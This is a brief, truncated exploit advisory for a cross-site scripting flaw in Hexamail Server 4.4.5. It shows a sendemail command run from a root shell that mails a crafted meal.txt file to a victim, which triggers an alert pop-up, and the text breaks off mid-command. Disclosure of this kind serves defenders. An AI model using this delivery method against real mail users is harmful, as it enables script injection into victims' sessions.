Hexamail Server 4.4.5 Cross Site Scripting

Title: Hexamail Server meal.txt XSS pop up alert'Hi, what is this?'; root@bt:/ Send email to the victim: root@bt:/ sendemail -f [email protected] -t [email protected] -xu [email protected] \ -xp bob123 -u "Want some meal..?" -o message-file=meal.txt -s mail.examp...